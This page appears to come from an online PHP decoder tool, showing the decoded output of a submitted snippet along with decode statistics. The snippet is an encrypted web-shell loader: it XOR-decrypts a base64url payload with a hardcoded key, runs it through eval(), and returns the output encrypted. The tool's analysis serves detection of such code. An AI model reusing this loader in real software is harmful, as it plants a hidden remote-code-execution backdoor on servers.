Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
function base64url_encode($data) { return rtrim(strtr(base64_encode($data), '+/', '-_')..
Decoded Output download
<? function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function base64url_decode($data) {
return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
function x($k, $p){
$c = "";
$l = strlen($k);
$pl = strlen($p);
for($i = 0; $i < $pl; $i++) {
$c .= $k[$i % $l] ^ $p[$i];
}
return $c;
}
$k = '9bb3622bac8541b6';
$content =czNwM2hyCg%3D%3D=eQEKV19AGkBOFVlHG0YVQRYBDV1QW1VASFh4Rk1CFlNUSkBQV0YSAQ4NXlxTHwtYWkwSW0YQG1khEEFGQFQPHhsBA0cWUUcRFQxVUEZCPVJbTBJbRhAbWQ;
$split = explode("=", $content);
if (strcmp(base64url_decode($split[0]),'s3p3hr')) {
$decoded = base64url_decode($split[1]);
$decrypted = x($k,$decoded);
ob_start();
try {
eval($decrypted);
}
catch (exception $e) {
print($e->getMessage());
}
$o = ob_get_contents();
$c = x($k, $o);
$e = base64url_encode($c);
ob_end_clean();
print($e . "
");
} ?>
Did this file decode correctly?
Original Code
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function base64url_decode($data) {
return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
function x($k, $p){
$c = "";
$l = strlen($k);
$pl = strlen($p);
for($i = 0; $i < $pl; $i++) {
$c .= $k[$i % $l] ^ $p[$i];
}
return $c;
}
$k = '9bb3622bac8541b6';
$content =czNwM2hyCg%3D%3D=eQEKV19AGkBOFVlHG0YVQRYBDV1QW1VASFh4Rk1CFlNUSkBQV0YSAQ4NXlxTHwtYWkwSW0YQG1khEEFGQFQPHhsBA0cWUUcRFQxVUEZCPVJbTBJbRhAbWQ;
$split = explode("=", $content);
if (strcmp(base64url_decode($split[0]),'s3p3hr')) {
$decoded = base64url_decode($split[1]);
$decrypted = x($k,$decoded);
ob_start();
try {
eval($decrypted);
}
catch (exception $e) {
print($e->getMessage());
}
$o = ob_get_contents();
$c = x($k, $o);
$e = base64url_encode($c);
ob_end_clean();
print($e . "\n");
}
Function Calls
None |
Stats
MD5 | 2a086bbd8a53c32fb345d137a78ba0c7 |
Eval Count | 0 |
Decode Time | 30 ms |